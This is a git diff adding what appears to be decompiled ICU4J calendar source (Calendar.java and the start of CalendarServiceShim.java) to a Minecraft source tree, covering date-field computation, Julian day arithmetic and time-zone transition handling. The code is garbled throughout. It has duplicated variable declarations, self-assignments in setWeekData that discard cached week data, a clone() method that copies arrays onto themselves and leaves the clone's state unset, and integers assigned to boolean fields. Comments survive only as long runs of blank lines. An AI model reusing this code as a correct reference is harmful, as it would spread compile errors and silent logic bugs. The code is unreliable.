+    int millisInDay = internalGet(14) + 1000 * (internalGet(13) + 60 * (internalGet(12) + 60 * internalGet(11)));
+    
+    int transition = getWeekendTransition(dow);
+    return millisInDay >= transition;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public Object clone()
+  {
+    try
+    {
+      Calendar other = (Calendar)super.clone();
+      
+      fields = new int[fields.length];
+      stamp = new int[fields.length];
+      System.arraycopy(fields, 0, fields, 0, fields.length);
+      System.arraycopy(stamp, 0, stamp, 0, fields.length);
+      
+      zone = ((TimeZone)zone.clone());
+      return other;
+    }
+    catch (CloneNotSupportedException e)
+    {
+      throw new IllegalStateException();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public String toString()
+  {
+    StringBuilder buffer = new StringBuilder();
+    buffer.append(getClass().getName());
+    buffer.append("[time=");
+    buffer.append(isTimeSet ? String.valueOf(time) : "?");
+    buffer.append(",areFieldsSet=");
+    buffer.append(areFieldsSet);
+    buffer.append(",areAllFieldsSet=");
+    buffer.append(areAllFieldsSet);
+    buffer.append(",lenient=");
+    buffer.append(lenient);
+    buffer.append(",zone=");
+    buffer.append(zone);
+    buffer.append(",firstDayOfWeek=");
+    buffer.append(firstDayOfWeek);
+    buffer.append(",minimalDaysInFirstWeek=");
+    buffer.append(minimalDaysInFirstWeek);
+    buffer.append(",repeatedWallTime=");
+    buffer.append(repeatedWallTime);
+    buffer.append(",skippedWallTime=");
+    buffer.append(skippedWallTime);
+    for (int i = 0; i < fields.length; i++) {
+      buffer.append(',').append(fieldName(i)).append('=');
+      buffer.append(isSet(i) ? String.valueOf(fields[i]) : "?");
+    }
+    buffer.append(']');
+    return buffer.toString();
+  }
+  
+
+  private static class WeekData
+  {
+    public int firstDayOfWeek;
+    
+    public int minimalDaysInFirstWeek;
+    
+    public int weekendOnset;
+    
+    public int weekendOnsetMillis;
+    
+    public int weekendCease;
+    public int weekendCeaseMillis;
+    public ULocale actualLocale;
+    
+    public WeekData(int fdow, int mdifw, int weekendOnset, int weekendOnsetMillis, int weekendCease, int weekendCeaseMillis, ULocale actualLoc)
+    {
+      firstDayOfWeek = fdow;
+      minimalDaysInFirstWeek = mdifw;
+      actualLocale = actualLoc;
+      this.weekendOnset = weekendOnset;
+      this.weekendOnsetMillis = weekendOnsetMillis;
+      this.weekendCease = weekendCease;
+      this.weekendCeaseMillis = weekendCeaseMillis;
+    }
+  }
+  
+
+
+
+
+
+
+  private void setWeekData(ULocale locale)
+  {
+    WeekData data = (WeekData)cachedLocaleData.get(locale);
+    
+    if (data == null)
+    {
+
+
+
+
+
+
+
+
+      CalendarData calData = new CalendarData(locale, getType());
+      ULocale min = ULocale.minimizeSubtags(calData.getULocale());
+      ULocale useLocale; ULocale useLocale; if (min.getCountry().length() > 0) {
+        useLocale = min;
+      } else {
+        ULocale max = ULocale.addLikelySubtags(min);
+        StringBuilder buf = new StringBuilder();
+        buf.append(min.getLanguage());
+        if (min.getScript().length() > 0) {
+          buf.append("_" + min.getScript());
+        }
+        if (max.getCountry().length() > 0) {
+          buf.append("_" + max.getCountry());
+        }
+        if (min.getVariant().length() > 0) {
+          buf.append("_" + min.getVariant());
+        }
+        useLocale = new ULocale(buf.toString());
+      }
+      
+      UResourceBundle rb = UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "supplementalData", ICUResourceBundle.ICU_DATA_CLASS_LOADER);
+      
+
+
+      UResourceBundle weekDataInfo = rb.get("weekData");
+      UResourceBundle weekDataBundle = null;
+      try {
+        weekDataBundle = weekDataInfo.get(useLocale.getCountry());
+      }
+      catch (MissingResourceException mre) {
+        weekDataBundle = weekDataInfo.get("001");
+      }
+      
+      int[] wdi = weekDataBundle.getIntVector();
+      data = new WeekData(wdi[0], wdi[1], wdi[2], wdi[3], wdi[4], wdi[5], calData.getULocale());
+      
+
+      cachedLocaleData.put(locale, data);
+    }
+    
+    setFirstDayOfWeek(firstDayOfWeek);
+    setMinimalDaysInFirstWeek(minimalDaysInFirstWeek);
+    weekendOnset = weekendOnset;
+    weekendOnsetMillis = weekendOnsetMillis;
+    weekendCease = weekendCease;
+    weekendCeaseMillis = weekendCeaseMillis;
+    
+
+    ULocale uloc = actualLocale;
+    setLocale(uloc, uloc);
+  }
+  
+
+
+
+
+  private void updateTime()
+  {
+    computeTime();
+    
+
+
+    if ((isLenient()) || (!areAllFieldsSet)) areFieldsSet = false;
+    isTimeSet = true;
+    areFieldsVirtuallySet = false;
+  }
+  
+
+
+
+
+
+  private void writeObject(ObjectOutputStream stream)
+    throws IOException
+  {
+    if (!isTimeSet) {
+      try {
+        updateTime();
+      }
+      catch (IllegalArgumentException e) {}
+    }
+    
+
+    stream.defaultWriteObject();
+  }
+  
+
+
+
+  private void readObject(ObjectInputStream stream)
+    throws IOException, ClassNotFoundException
+  {
+    stream.defaultReadObject();
+    
+    initInternal();
+    
+    isTimeSet = true;
+    areFieldsSet = (this.areAllFieldsSet = 0);
+    areFieldsVirtuallySet = true;
+    nextStamp = 2;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected void computeFields()
+  {
+    int[] offsets = new int[2];
+    getTimeZone().getOffset(time, false, offsets);
+    long localMillis = time + offsets[0] + offsets[1];
+    
+
+    int mask = internalSetMask;
+    for (int i = 0; i < fields.length; i++) {
+      if ((mask & 0x1) == 0) {
+        stamp[i] = 1;
+      } else {
+        stamp[i] = 0;
+      }
+      mask >>= 1;
+    }
+    
+
+
+
+
+
+
+
+
+
+    long days = floorDivide(localMillis, 86400000L);
+    
+    fields[20] = ((int)days + 2440588);
+    
+    computeGregorianAndDOWFields(fields[20]);
+    
+
+
+
+
+    handleComputeFields(fields[20]);
+    
+
+
+    computeWeekFields();
+    
+
+
+
+    int millisInDay = (int)(localMillis - days * 86400000L);
+    fields[21] = millisInDay;
+    fields[14] = (millisInDay % 1000);
+    millisInDay /= 1000;
+    fields[13] = (millisInDay % 60);
+    millisInDay /= 60;
+    fields[12] = (millisInDay % 60);
+    millisInDay /= 60;
+    fields[11] = millisInDay;
+    fields[9] = (millisInDay / 12);
+    fields[10] = (millisInDay % 12);
+    fields[15] = offsets[0];
+    fields[16] = offsets[1];
+  }
+  
+
+
+
+
+
+  private final void computeGregorianAndDOWFields(int julianDay)
+  {
+    computeGregorianFields(julianDay);
+    
+
+    int dow = fields[7] = julianDayToDayOfWeek(julianDay);
+    
+
+    int dowLocal = dow - getFirstDayOfWeek() + 1;
+    if (dowLocal < 1) {
+      dowLocal += 7;
+    }
+    fields[18] = dowLocal;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected final void computeGregorianFields(int julianDay)
+  {
+    long gregorianEpochDay = julianDay - 1721426;
+    
+
+
+
+
+    int[] rem = new int[1];
+    int n400 = floorDivide(gregorianEpochDay, 146097, rem);
+    int n100 = floorDivide(rem[0], 36524, rem);
+    int n4 = floorDivide(rem[0], 1461, rem);
+    int n1 = floorDivide(rem[0], 365, rem);
+    int year = 400 * n400 + 100 * n100 + 4 * n4 + n1;
+    int dayOfYear = rem[0];
+    if ((n100 == 4) || (n1 == 4)) {
+      dayOfYear = 365;
+    } else {
+      year++;
+    }
+    
+    boolean isLeap = ((year & 0x3) == 0) && ((year % 100 != 0) || (year % 400 == 0));
+    
+
+    int correction = 0;
+    int march1 = isLeap ? 60 : 59;
+    if (dayOfYear >= march1) correction = isLeap ? 1 : 2;
+    int month = (12 * (dayOfYear + correction) + 6) / 367;
+    int dayOfMonth = dayOfYear - GREGORIAN_MONTH_COUNT[month][2] + 1;
+    
+
+    gregorianYear = year;
+    gregorianMonth = month;
+    gregorianDayOfMonth = dayOfMonth;
+    gregorianDayOfYear = (dayOfYear + 1);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private final void computeWeekFields()
+  {
+    int eyear = fields[19];
+    int dayOfWeek = fields[7];
+    int dayOfYear = fields[6];
+    
+
+
+
+
+
+
+
+
+
+    int yearOfWeekOfYear = eyear;
+    int relDow = (dayOfWeek + 7 - getFirstDayOfWeek()) % 7;
+    int relDowJan1 = (dayOfWeek - dayOfYear + 7001 - getFirstDayOfWeek()) % 7;
+    int woy = (dayOfYear - 1 + relDowJan1) / 7;
+    if (7 - relDowJan1 >= getMinimalDaysInFirstWeek()) {
+      woy++;
+    }
+    
+
+
+    if (woy == 0)
+    {
+
+
+
+
+      int prevDoy = dayOfYear + handleGetYearLength(eyear - 1);
+      woy = weekNumber(prevDoy, dayOfWeek);
+      yearOfWeekOfYear--;
+    } else {
+      int lastDoy = handleGetYearLength(eyear);
+      
+
+
+
+
+
+      if (dayOfYear >= lastDoy - 5) {
+        int lastRelDow = (relDow + lastDoy - dayOfYear) % 7;
+        if (lastRelDow < 0) {
+          lastRelDow += 7;
+        }
+        if ((6 - lastRelDow >= getMinimalDaysInFirstWeek()) && (dayOfYear + 7 - relDow > lastDoy))
+        {
+          woy = 1;
+          yearOfWeekOfYear++;
+        }
+      }
+    }
+    fields[3] = woy;
+    fields[17] = yearOfWeekOfYear;
+    
+
+    int dayOfMonth = fields[5];
+    fields[4] = weekNumber(dayOfMonth, dayOfWeek);
+    fields[8] = ((dayOfMonth - 1) / 7 + 1);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static final int[][][] DATE_PRECEDENCE = { { { 5 }, { 3, 7 }, { 4, 7 }, { 8, 7 }, { 3, 18 }, { 4, 18 }, { 8, 18 }, { 6 }, { 37, 1 }, { 35, 17 } }, { { 3 }, { 4 }, { 8 }, { 40, 7 }, { 40, 18 } } };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static final int[][][] DOW_PRECEDENCE = { { { 7 }, { 18 } } };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected int resolveFields(int[][][] precedenceTable)
+  {
+    int bestField = -1;
+    
+    for (int g = 0; (g < precedenceTable.length) && (bestField < 0); g++) {
+      int[][] group = precedenceTable[g];
+      int bestStamp = 0;
+      label164:
+      for (int l = 0; l < group.length; l++) {
+        int[] line = group[l];
+        int lineStamp = 0;
+        
+        for (int i = line[0] >= 32 ? 1 : 0; i < line.length; i++) {
+          int s = stamp[line[i]];
+          
+          if (s == 0) {
+            break label164;
+          }
+          lineStamp = Math.max(lineStamp, s);
+        }
+        
+
+        if (lineStamp > bestStamp) {
+          int tempBestField = line[0];
+          if (tempBestField >= 32) {
+            tempBestField &= 0x1F;
+            
+            if ((tempBestField != 5) || (stamp[4] < stamp[tempBestField])) {
+              bestField = tempBestField;
+            }
+          } else {
+            bestField = tempBestField;
+          }
+          
+          if (bestField == tempBestField) {
+            bestStamp = lineStamp;
+          }
+        }
+      }
+    }
+    return bestField >= 32 ? bestField & 0x1F : bestField;
+  }
+  
+
+
+
+  protected int newestStamp(int first, int last, int bestStampSoFar)
+  {
+    int bestStamp = bestStampSoFar;
+    for (int i = first; i <= last; i++) {
+      if (stamp[i] > bestStamp) {
+        bestStamp = stamp[i];
+      }
+    }
+    return bestStamp;
+  }
+  
+
+
+
+  protected final int getStamp(int field)
+  {
+    return stamp[field];
+  }
+  
+
+
+
+
+  protected int newerField(int defaultField, int alternateField)
+  {
+    if (stamp[alternateField] > stamp[defaultField]) {
+      return alternateField;
+    }
+    return defaultField;
+  }
+  
+
+
+
+
+
+
+
+  protected void validateFields()
+  {
+    for (int field = 0; field < fields.length; field++) {
+      if (stamp[field] >= 2) {
+        validateField(field);
+      }
+    }
+  }
+  
+
+
+
+
+  protected void validateField(int field)
+  {
+    int y;
+    
+
+
+    switch (field) {
+    case 5: 
+      y = handleGetExtendedYear();
+      validateField(field, 1, handleGetMonthLength(y, internalGet(2)));
+      break;
+    case 6: 
+      y = handleGetExtendedYear();
+      validateField(field, 1, handleGetYearLength(y));
+      break;
+    case 8: 
+      if (internalGet(field) == 0) {
+        throw new IllegalArgumentException("DAY_OF_WEEK_IN_MONTH cannot be zero");
+      }
+      validateField(field, getMinimum(field), getMaximum(field));
+      break;
+    case 7: default: 
+      validateField(field, getMinimum(field), getMaximum(field));
+    }
+    
+  }
+  
+
+
+
+
+
+
+
+  protected final void validateField(int field, int min, int max)
+  {
+    int value = fields[field];
+    if ((value < min) || (value > max)) {
+      throw new IllegalArgumentException(fieldName(field) + '=' + value + ", valid range=" + min + ".." + max);
+    }
+  }
+  
+
+
+
+
+
+
+  protected void computeTime()
+  {
+    if (!isLenient()) {
+      validateFields();
+    }
+    
+
+    int julianDay = computeJulianDay();
+    
+    long millis = julianDayToMillis(julianDay);
+    
+
+    int millisInDay;
+    
+
+    int millisInDay;
+    
+
+    if ((stamp[21] >= 2) && (newestStamp(9, 14, 0) <= stamp[21]))
+    {
+      millisInDay = internalGet(21);
+    } else {
+      millisInDay = computeMillisInDay();
+    }
+    
+    if ((stamp[15] >= 2) || (stamp[16] >= 2))
+    {
+      time = (millis + millisInDay - (internalGet(15) + internalGet(16)));
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    }
+    else if ((!lenient) || (skippedWallTime == 2))
+    {
+
+
+      int zoneOffset = computeZoneOffset(millis, millisInDay);
+      long tmpTime = millis + millisInDay - zoneOffset;
+      
+      int zoneOffset1 = zone.getOffset(tmpTime);
+      
+
+
+      if (zoneOffset != zoneOffset1) {
+        if (!lenient) {
+          throw new IllegalArgumentException("The specified wall time does not exist due to time zone offset transition.");
+        }
+        
+        assert (skippedWallTime == 2) : skippedWallTime;
+        
+
+
+        if ((zone instanceof BasicTimeZone)) {
+          TimeZoneTransition transition = ((BasicTimeZone)zone).getPreviousTransition(tmpTime, true);
+          if (transition == null)
+          {
+            throw new RuntimeException("Could not locate previous zone transition");
+          }
+          time = transition.getTime();
+        }
+        else
+        {
+          Long transitionT = getPreviousZoneTransitionTime(zone, tmpTime, 7200000L);
+          if (transitionT == null) {
+            transitionT = getPreviousZoneTransitionTime(zone, tmpTime, 108000000L);
+            if (transitionT == null)
+            {
+              throw new RuntimeException("Could not locate previous zone transition within 30 hours from " + tmpTime);
+            }
+          }
+          time = transitionT.longValue();
+        }
+      } else {
+        time = tmpTime;
+      }
+    } else {
+      time = (millis + millisInDay - computeZoneOffset(millis, millisInDay));
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  private Long getPreviousZoneTransitionTime(TimeZone tz, long base, long duration)
+  {
+    assert (duration > 0L);
+    
+    long upper = base;
+    long lower = base - duration - 1L;
+    int offsetU = tz.getOffset(upper);
+    int offsetL = tz.getOffset(lower);
+    if (offsetU == offsetL) {
+      return null;
+    }
+    return findPreviousZoneTransitionTime(tz, offsetU, upper, lower);
+  }
+  
+
+
+
+
+  private static final int[] FIND_ZONE_TRANSITION_TIME_UNITS = { 3600000, 1800000, 60000, 1000 };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private Long findPreviousZoneTransitionTime(TimeZone tz, int upperOffset, long upper, long lower)
+  {
+    boolean onUnitTime = false;
+    long mid = 0L;
+    
+    for (int unit : FIND_ZONE_TRANSITION_TIME_UNITS) {
+      long lunits = lower / unit;
+      long uunits = upper / unit;
+      if (uunits > lunits) {
+        mid = (lunits + uunits + 1L >>> 1) * unit;
+        onUnitTime = true;
+        break;
+      }
+    }
+    
+
+    if (!onUnitTime) {
+      mid = upper + lower >>> 1;
+    }
+    
+    if (onUnitTime) {
+      if (mid != upper) {
+        int midOffset = tz.getOffset(mid);
+        if (midOffset != upperOffset) {
+          return findPreviousZoneTransitionTime(tz, upperOffset, upper, mid);
+        }
+        upper = mid;
+      }
+      
+      mid -= 1L;
+    } else {
+      mid = upper + lower >>> 1;
+    }
+    
+    if (mid == lower) {
+      return Long.valueOf(upper);
+    }
+    int midOffset = tz.getOffset(mid);
+    if (midOffset != upperOffset) {
+      if (onUnitTime) {
+        return Long.valueOf(upper);
+      }
+      return findPreviousZoneTransitionTime(tz, upperOffset, upper, mid);
+    }
+    return findPreviousZoneTransitionTime(tz, upperOffset, mid, lower);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int computeMillisInDay()
+  {
+    int millisInDay = 0;
+    
+
+
+
+    int hourOfDayStamp = stamp[11];
+    int hourStamp = Math.max(stamp[10], stamp[9]);
+    int bestStamp = hourStamp > hourOfDayStamp ? hourStamp : hourOfDayStamp;
+    
+
+    if (bestStamp != 0) {
+      if (bestStamp == hourOfDayStamp)
+      {
+
+        millisInDay += internalGet(11);
+      }
+      else
+      {
+        millisInDay += internalGet(10);
+        millisInDay += 12 * internalGet(9);
+      }
+    }
+    
+
+
+    millisInDay *= 60;
+    millisInDay += internalGet(12);
+    millisInDay *= 60;
+    millisInDay += internalGet(13);
+    millisInDay *= 1000;
+    millisInDay += internalGet(14);
+    
+    return millisInDay;
+  }
+  
+
+
+
+
+
+
+
+  protected int computeZoneOffset(long millis, int millisInDay)
+  {
+    int[] offsets = new int[2];
+    long wall = millis + millisInDay;
+    if ((zone instanceof BasicTimeZone)) {
+      int duplicatedTimeOpt = repeatedWallTime == 1 ? 4 : 12;
+      int nonExistingTimeOpt = skippedWallTime == 1 ? 12 : 4;
+      ((BasicTimeZone)zone).getOffsetFromLocal(wall, nonExistingTimeOpt, duplicatedTimeOpt, offsets);
+    }
+    else {
+      zone.getOffset(wall, true, offsets);
+      
+      boolean sawRecentNegativeShift = false;
+      if (repeatedWallTime == 1)
+      {
+        long tgmt = wall - (offsets[0] + offsets[1]);
+        
+
+
+
+        int offsetBefore6 = zone.getOffset(tgmt - 21600000L);
+        int offsetDelta = offsets[0] + offsets[1] - offsetBefore6;
+        
+        assert (offsetDelta < -21600000) : offsetDelta;
+        if (offsetDelta < 0) {
+          sawRecentNegativeShift = true;
+          
+
+
+          zone.getOffset(wall + offsetDelta, true, offsets);
+        }
+      }
+      if ((!sawRecentNegativeShift) && (skippedWallTime == 1))
+      {
+
+
+
+
+        long tgmt = wall - (offsets[0] + offsets[1]);
+        zone.getOffset(tgmt, false, offsets);
+      }
+    }
+    return offsets[0] + offsets[1];
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  protected int computeJulianDay()
+  {
+    if (stamp[20] >= 2) {
+      int bestStamp = newestStamp(0, 8, 0);
+      bestStamp = newestStamp(17, 19, bestStamp);
+      if (bestStamp <= stamp[20]) {
+        return internalGet(20);
+      }
+    }
+    
+    int bestField = resolveFields(getFieldResolutionTable());
+    if (bestField < 0) {
+      bestField = 5;
+    }
+    
+    return handleComputeJulianDay(bestField);
+  }
+  
+
+
+
+
+
+
+
+  protected int[][][] getFieldResolutionTable()
+  {
+    return DATE_PRECEDENCE;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  protected abstract int handleComputeMonthStart(int paramInt1, int paramInt2, boolean paramBoolean);
+  
+
+
+
+
+
+
+
+
+
+
+  protected abstract int handleGetExtendedYear();
+  
+
+
+
+
+
+
+
+
+
+
+  protected int handleGetMonthLength(int extendedYear, int month)
+  {
+    return handleComputeMonthStart(extendedYear, month + 1, true) - handleComputeMonthStart(extendedYear, month, true);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int handleGetYearLength(int eyear)
+  {
+    return handleComputeMonthStart(eyear + 1, 0, false) - handleComputeMonthStart(eyear, 0, false);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int[] handleCreateFields()
+  {
+    return new int[23];
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int getDefaultMonthInYear(int extendedYear)
+  {
+    return 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int getDefaultDayInMonth(int extendedYear, int month)
+  {
+    return 1;
+  }
+  
+
+
+
+
+
+
+
+  protected int handleComputeJulianDay(int bestField)
+  {
+    boolean useMonth = (bestField == 5) || (bestField == 4) || (bestField == 8);
+    
+    int year;
+    
+    int year;
+    
+    if (bestField == 3)
+    {
+
+
+
+      year = internalGet(17, handleGetExtendedYear());
+    } else {
+      year = handleGetExtendedYear();
+    }
+    
+    internalSet(19, year);
+    
+    int month = useMonth ? internalGet(2, getDefaultMonthInYear(year)) : 0;
+    
+
+
+    int julianDay = handleComputeMonthStart(year, month, useMonth);
+    
+    if (bestField == 5) {
+      if (isSet(5)) {
+        return julianDay + internalGet(5, getDefaultDayInMonth(year, month));
+      }
+      return julianDay + getDefaultDayInMonth(year, month);
+    }
+    
+
+    if (bestField == 6) {
+      return julianDay + internalGet(6);
+    }
+    
+    int firstDOW = getFirstDayOfWeek();
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    int first = julianDayToDayOfWeek(julianDay + 1) - firstDOW;
+    if (first < 0) {
+      first += 7;
+    }
+    
+
+
+    int dowLocal = 0;
+    switch (resolveFields(DOW_PRECEDENCE)) {
+    case 7: 
+      dowLocal = internalGet(7) - firstDOW;
+      break;
+    case 18: 
+      dowLocal = internalGet(18) - 1;
+    }
+    
+    dowLocal %= 7;
+    if (dowLocal < 0) {
+      dowLocal += 7;
+    }
+    
+
+
+
+    int date = 1 - first + dowLocal;
+    
+    if (bestField == 8)
+    {
+
+      if (date < 1) {
+        date += 7;
+      }
+      
+
+
+      int dim = internalGet(8, 1);
+      if (dim >= 0) {
+        date += 7 * (dim - 1);
+
+
+
+      }
+      else
+      {
+
+
+        int m = internalGet(2, 0);
+        int monthLength = handleGetMonthLength(year, m);
+        date += ((monthLength - date) / 7 + dim + 1) * 7;
+      }
+      
+    }
+    else
+    {
+      if (7 - first < getMinimalDaysInFirstWeek()) {
+        date += 7;
+      }
+      
+
+      date += 7 * (internalGet(bestField) - 1);
+    }
+    
+    return julianDay + date;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected int computeGregorianMonthStart(int year, int month)
+  {
+    if ((month < 0) || (month > 11)) {
+      int[] rem = new int[1];
+      year += floorDivide(month, 12, rem);
+      month = rem[0];
+    }
+    
+    boolean isLeap = (year % 4 == 0) && ((year % 100 != 0) || (year % 400 == 0));
+    int y = year - 1;
+    
+
+
+    int julianDay = 365 * y + floorDivide(y, 4) - floorDivide(y, 100) + floorDivide(y, 400) + 1721426 - 1;
+    
+
+
+
+    if (month != 0) {
+      julianDay += GREGORIAN_MONTH_COUNT[month][2];
+    }
+    
+    return julianDay;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected void handleComputeFields(int julianDay)
+  {
+    internalSet(2, getGregorianMonth());
+    internalSet(5, getGregorianDayOfMonth());
+    internalSet(6, getGregorianDayOfYear());
+    int eyear = getGregorianYear();
+    internalSet(19, eyear);
+    int era = 1;
+    if (eyear < 1) {
+      era = 0;
+      eyear = 1 - eyear;
+    }
+    internalSet(0, era);
+    internalSet(1, eyear);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  protected final int getGregorianYear()
+  {
+    return gregorianYear;
+  }
+  
+
+
+
+
+
+  protected final int getGregorianMonth()
+  {
+    return gregorianMonth;
+  }
+  
+
+
+
+
+
+  protected final int getGregorianDayOfYear()
+  {
+    return gregorianDayOfYear;
+  }
+  
+
+
+
+
+
+  protected final int getGregorianDayOfMonth()
+  {
+    return gregorianDayOfMonth;
+  }
+  
+
+
+
+
+
+  public final int getFieldCount()
+  {
+    return fields.length;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected final void internalSet(int field, int value)
+  {
+    if ((1 << field & internalSetMask) == 0) {
+      throw new IllegalStateException("Subclass cannot set " + fieldName(field));
+    }
+    
+    fields[field] = value;
+    stamp[field] = 1;
+  }
+  
+  private static final int[][] GREGORIAN_MONTH_COUNT = { { 31, 31, 0, 0 }, { 28, 29, 31, 31 }, { 31, 31, 59, 60 }, { 30, 30, 90, 91 }, { 31, 31, 120, 121 }, { 30, 30, 151, 152 }, { 31, 31, 181, 182 }, { 31, 31, 212, 213 }, { 30, 30, 243, 244 }, { 31, 31, 273, 274 }, { 30, 30, 304, 305 }, { 31, 31, 334, 335 } };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected static final boolean isGregorianLeapYear(int year)
+  {
+    return (year % 4 == 0) && ((year % 100 != 0) || (year % 400 == 0));
+  }
+  
+
+
+
+
+
+
+  protected static final int gregorianMonthLength(int y, int m)
+  {
+    return GREGORIAN_MONTH_COUNT[m][0];
+  }
+  
+
+
+
+
+
+
+  protected static final int gregorianPreviousMonthLength(int y, int m)
+  {
+    return m > 0 ? gregorianMonthLength(y, m - 1) : 31;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  protected static final long floorDivide(long numerator, long denominator)
+  {
+    return numerator >= 0L ? numerator / denominator : (numerator + 1L) / denominator - 1L;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected static final int floorDivide(int numerator, int denominator)
+  {
+    return numerator >= 0 ? numerator / denominator : (numerator + 1) / denominator - 1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected static final int floorDivide(int numerator, int denominator, int[] remainder)
+  {
+    if (numerator >= 0) {
+      remainder[0] = (numerator % denominator);
+      return numerator / denominator;
+    }
+    int quotient = (numerator + 1) / denominator - 1;
+    remainder[0] = (numerator - quotient * denominator);
+    return quotient;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected static final int floorDivide(long numerator, int denominator, int[] remainder)
+  {
+    if (numerator >= 0L) {
+      remainder[0] = ((int)(numerator % denominator));
+      return (int)(numerator / denominator);
+    }
+    int quotient = (int)((numerator + 1L) / denominator - 1L);
+    remainder[0] = ((int)(numerator - quotient * denominator));
+    return quotient;
+  }
+  
+  private static final String[] FIELD_NAME = { "ERA", "YEAR", "MONTH", "WEEK_OF_YEAR", "WEEK_OF_MONTH", "DAY_OF_MONTH", "DAY_OF_YEAR", "DAY_OF_WEEK", "DAY_OF_WEEK_IN_MONTH", "AM_PM", "HOUR", "HOUR_OF_DAY", "MINUTE", "SECOND", "MILLISECOND", "ZONE_OFFSET", "DST_OFFSET", "YEAR_WOY", "DOW_LOCAL", "EXTENDED_YEAR", "JULIAN_DAY", "MILLISECONDS_IN_DAY" };
+  
+
+
+  private ULocale validLocale;
+  
+
+  private ULocale actualLocale;
+  
+
+
+  protected String fieldName(int field)
+  {
+    try
+    {
+      return FIELD_NAME[field];
+    } catch (ArrayIndexOutOfBoundsException e) {}
+    return "Field " + field;
+  }
+  
+
+
+
+
+
+
+  protected static final int millisToJulianDay(long millis)
+  {
+    return (int)(2440588L + floorDivide(millis, 86400000L));
+  }
+  
+
+
+
+
+
+  protected static final long julianDayToMillis(int julian)
+  {
+    return (julian - 2440588) * 86400000L;
+  }
+  
+
+
+
+
+
+  protected static final int julianDayToDayOfWeek(int julian)
+  {
+    int dayOfWeek = (julian + 2) % 7;
+    if (dayOfWeek < 1) {
+      dayOfWeek += 7;
+    }
+    return dayOfWeek;
+  }
+  
+
+
+
+  protected final long internalGetTimeInMillis()
+  {
+    return time;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public String getType()
+  {
+    return "unknown";
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final ULocale getLocale(ULocale.Type type)
+  {
+    return type == ULocale.ACTUAL_LOCALE ? actualLocale : validLocale;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  final void setLocale(ULocale valid, ULocale actual)
+  {
+    if ((valid == null ? 1 : 0) != (actual == null ? 1 : 0))
+    {
+      throw new IllegalArgumentException();
+    }
+    
+
+
+    validLocale = valid;
+    actualLocale = actual;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/CalendarServiceShim.java b/src/minecraft/com/ibm/icu/util/CalendarServiceShim.java
new file mode 100644
index 0000000..475dbbc
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/CalendarServiceShim.java
@@ -0,0 +1,126 @@
+package com.ibm.icu.util;
+
+import com.ibm.icu.impl.CalendarUtil;
+import com.ibm.icu.impl.ICULocaleService;
+import com.ibm.icu.impl.ICULocaleService.ICUResourceBundleFactory;
+import com.ibm.icu.impl.ICULocaleService.LocaleKey;
+import com.ibm.icu.impl.ICULocaleService.LocaleKeyFactory;
+import com.ibm.icu.impl.ICUResourceBundle;
+import com.ibm.icu.impl.ICUService;
+import com.ibm.icu.impl.ICUService.Factory;
+import com.ibm.icu.impl.ICUService.Key;
+import java.util.Locale;
+import java.util.MissingResourceException;
+import java.util.Set;
+
+
+
+class CalendarServiceShim
+  extends Calendar.CalendarShim
+{
+  CalendarServiceShim() {}
+  
+  Locale[] getAvailableLocales()
+  {
+    if (service.isDefault()) {
+      return ICUResourceBundle.getAvailableLocales();
+    }
+    return service.getAvailableLocales();
+  }
+  
+  ULocale[] getAvailableULocales() {
+    if (service.isDefault()) {
+      return ICUResourceBundle.getAvailableULocales();
+    }
+    return service.getAvailableULocales();
+  }
+  
+  private static final class CalFactory extends ICULocaleService.LocaleKeyFactory {
+    private Calendar.CalendarFactory delegate;
+    
+    CalFactory(Calendar.CalendarFactory delegate) { super();
+      this.delegate = delegate;
+    }
+    
+    public Object create(ICUService.Key key, ICUService srvc) {
+      if ((!handlesKey(key)) || (!(key instanceof ICULocaleService.LocaleKey))) {
+        return null;
+      }
+      
+      ICULocaleService.LocaleKey lkey = (ICULocaleService.LocaleKey)key;
+      Object result = delegate.createCalendar(lkey.canonicalLocale());
+      if (result == null) {
+        result = srvc.getKey(key, null, this);
+      }
+      return result;
+    }
+    
+    protected Set<String> getSupportedIDs() {
+      return delegate.getSupportedLocaleNames();
+    }
+  }
+  
+  Calendar createInstance(ULocale desiredLocale) {
